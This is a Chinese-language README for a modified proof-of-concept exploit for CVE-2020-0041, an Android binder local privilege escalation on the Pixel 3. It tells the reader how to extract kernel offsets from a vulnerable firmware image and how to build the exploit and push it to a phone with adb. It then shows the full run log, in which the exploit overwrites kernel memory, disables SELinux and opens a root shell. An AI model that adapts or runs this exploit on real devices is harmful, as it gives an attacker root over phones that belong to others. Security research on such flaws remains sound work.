此文件夹包含一个本地权限提升漏洞利用程序，它是针对 CVE-2020-0041 的 bluefrostsecurity PoC 的修改版本。该漏洞利用会禁用 SELinux，然后启动一个 root shell。
该漏洞利用针对运行 2020 年 2 月 固件 (QQ1A.200205.002) 的 Pixel 3 设备提供了硬编码偏移量。只需按照以下步骤操作，即可将其调整为适用于任何 Pixel 3 设备。
为规避 root 用户限制，已进行了一些更改（原始漏洞利用程序不可用）。
为了将该漏洞利用调整为适用于任何 Pixel 3 设备，需要从官方网站 developer android images 下载特定的易受攻击固件 (QQ1A.200205.002)。
之后，将 boot.img 转换为 zImage。为此，请使用 abootimg。
./abootimg -x [path_to_boot_img]
生成的 zImage 是一个包含已压缩 Android 内核的镜像。
vmlinux-to-elf [path_to_zImage] [kernel.elf]
SELINUX_ENFORCING_OFFSET
MEMSTART_ADDR_OFFSET
SYSCTL_TABLE_ROOT_OFFSET
PROC_DOUINTVEC_OFFSET
INIT_TASK_OFFSET
INIT_CRED_OFFSET
OFFSET_PIPE_FOP
将 exploit.c 与正确的偏移量对齐。
大功告成 :)
只需在路径中包含 Android NDK 的情况下运行 "make"，即可构建该漏洞利用（您也可以从 libs/arm64-v8a 路径 获取 poc 二进制文件）。还可以通过执行 "make all push" 将其推送到通过 adb 连接的手机上（为简洁起见，已移除警告）：
user@laptop:~/CVE-2020-0041/lpe$ make all push
Building Android
NDK_PROJECT_PATH=. ndk-build NDK_APPLICATION_MK=./Application.mk
make[1]: Entering directory `/home/user/CVE-2020-0041/lpe'
[arm64-v8a] Compile : poc <= exploit.c
[arm64-v8a] Compile : poc <= endpoint.c
[arm64-v8a] Compile : poc <= pending_node.c
[arm64-v8a] Compile : poc <= binder.c
[arm64-v8a] Compile : poc <= log.c
[arm64-v8a] Compile : poc <= helpers.c
[arm64-v8a] Compile : poc <= binder_lookup.c
[arm64-v8a] Compile : poc <= realloc.c
[arm64-v8a] Compile : poc <= node.c
[arm64-v8a] Executable : poc
[arm64-v8a] Install : poc => libs/arm64-v8a/poc
make[1]: Leaving directory `/home/user/CVE-2020-0041/lpe'
adb push libs/arm64-v8a/poc /data/local/tmp/poc
libs/arm64-v8a/poc: 1 file pushed. 4.3 MB/s (39016 bytes in 0.009s)
现在只需从 adb shell 运行 /data/local/tmp/poc 即可看到漏洞利用的运行情况：
blueline:/ $ /data/local/tmp/poc
[+] Mapped 200000
[+] selinux_enforcing before exploit: 1
[+] pipe file: 0xffffffd9c67c7700
[*] file epitem at ffffffda545d7d00
[*] Reallocating content of 'write8_inode' with controlled data.[DONE]
[+] Overwriting 0xffffffd9c67c7720 with 0xffffffda545d7d50...[DONE]
[*] Write done, should have arbitrary read now.
[+] file operations: ffffff97df1af650
[+] kernel base: ffffff97dd280000
[*] Reallocating content of 'write8_selinux' with controlled data.[DONE]
[+] Overwriting 0xffffff97dfe24000 with 0x0...[DONE]
[*] init_cred: ffffff97dfc300a0
[+] memstart_addr: 0xffffffe700000000
[+] First level entry: ceac5003 -> next table at ffffffd9ceac5000
[+] Second level entry: f173c003 -> next table at ffffffd9f173c000
[+] sysctl_table_root = ffffff97dfc5a3f8
[*] Reallocating content of 'write8_sysctl' with controlled data.[DONE]
[+] Overwriting 0xffffffda6da8d868 with 0xffffffda49ced000...[DONE]
[+] Injected sysctl node!
[*] Node write8_inode, pid 7058, kaddr ffffffda0723f900
[*] Replaced sendmmsg dangling reference
[*] Replaced sendmmsg dangling reference
[*] Replaced sendmmsg dangling reference
[*] Node write8_selinux, pid 6848, kaddr ffffffd9c9fa2400
[*] Replaced sendmmsg dangling reference
[*] Replaced sendmmsg dangling reference
[*] Replaced sendmmsg dangling reference
[*] Node write8_sysctl, pid 7110, kaddr ffffffda67e7d180
[*] Replaced sendmmsg dangling reference
[*] Replaced sendmmsg dangling reference
[*] Replaced sendmmsg dangling reference
[+] Cleaned up sendmsg threads
[*] epitem.next = ffffffd9c67c7720
[*] epitem.prev = ffffffd9c67c77d8
^[[*] Launching privileged shell
root_by_cve-2020-0041:/ # id
uid=0(root) gid=0(root) groups=0(root) context=u:r:kernel:s0
root_by_cve-2020-0041:/ # getenforce
Permissive
root_by_cve-2020-0041:/ #